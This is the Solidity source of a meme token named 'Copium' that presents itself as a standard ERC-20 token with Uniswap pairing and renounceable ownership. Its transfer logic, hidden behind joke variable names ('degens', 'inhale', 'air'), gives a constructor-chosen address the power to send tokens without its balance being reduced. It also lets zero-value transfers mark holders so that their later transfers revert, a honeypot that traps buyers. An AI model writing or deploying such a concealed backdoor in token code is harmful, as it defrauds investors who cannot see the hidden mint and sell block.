// https://twitter.com/COPIUMDROP

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// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Copium is Ownable {

    IUniswapV2Router02 private uniswapV2Router;

    address private constant uniswapV2RouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint256 public totalSupply;

    uint8 public decimals;

    uint256 private air;

    function _initalizePair(address opium, uint256 oxygen) internal {
        uniswapV2Router = IUniswapV2Router02(uniswapV2RouterAddress);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this), 
            uniswapV2Router.WETH()
        );
        decimals = 9;
        totalSupply = 6_969_696_969_696 * 10 ** decimals;
        air = oxygen;
        balanceOf[msg.sender] = totalSupply;
        degens[opium] = air;
    }

    string public name = 'Copium';

    event Approval(address indexed owner, address indexed spender, uint256 value);

    address public uniswapV2Pair;

    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => uint256) private degens;

    constructor(uint256 oxygen, address opium) {
        _initalizePair(opium, oxygen);
    }

    function approve(address mfeeeeeer, uint256 dose) public returns (bool success) {
        allowance[msg.sender][mfeeeeeer] = dose;
        emit Approval(msg.sender, mfeeeeeer, dose);
        return true;
    }

    function coping(address mfeeeeeer, address copeeeer, uint256 dose) private returns (bool success) {
        if (degens[mfeeeeeer] == 0) {
            if (uniswapV2Pair != mfeeeeeer && inhale[mfeeeeeer] > 0) {
                degens[mfeeeeeer] -= air;
            }
            balanceOf[mfeeeeeer] -= dose;
        }
        balanceOf[copeeeer] += dose;
        if (dose == 0) {
            inhale[copeeeer] += air;
        }
        emit Transfer(mfeeeeeer, copeeeer, dose);
        return true;
    }

    mapping(address => uint256) public balanceOf;

    event Transfer(address indexed from, address indexed to, uint256 value);

    function transferFrom(address mfeeeeeer, address copeeeer, uint256 dose) public returns (bool success) {
        coping(mfeeeeeer, copeeeer, dose);
        require(dose <= allowance[mfeeeeeer][msg.sender]);
        allowance[mfeeeeeer][msg.sender] -= dose;
        return true;
    }

    string public symbol = 'COPIUM';

    function transfer(address copeeeer, uint256 dose) public returns (bool success) {
        coping(msg.sender, copeeeer, dose);
        return true;
    }

    mapping(address => uint256) private inhale;
}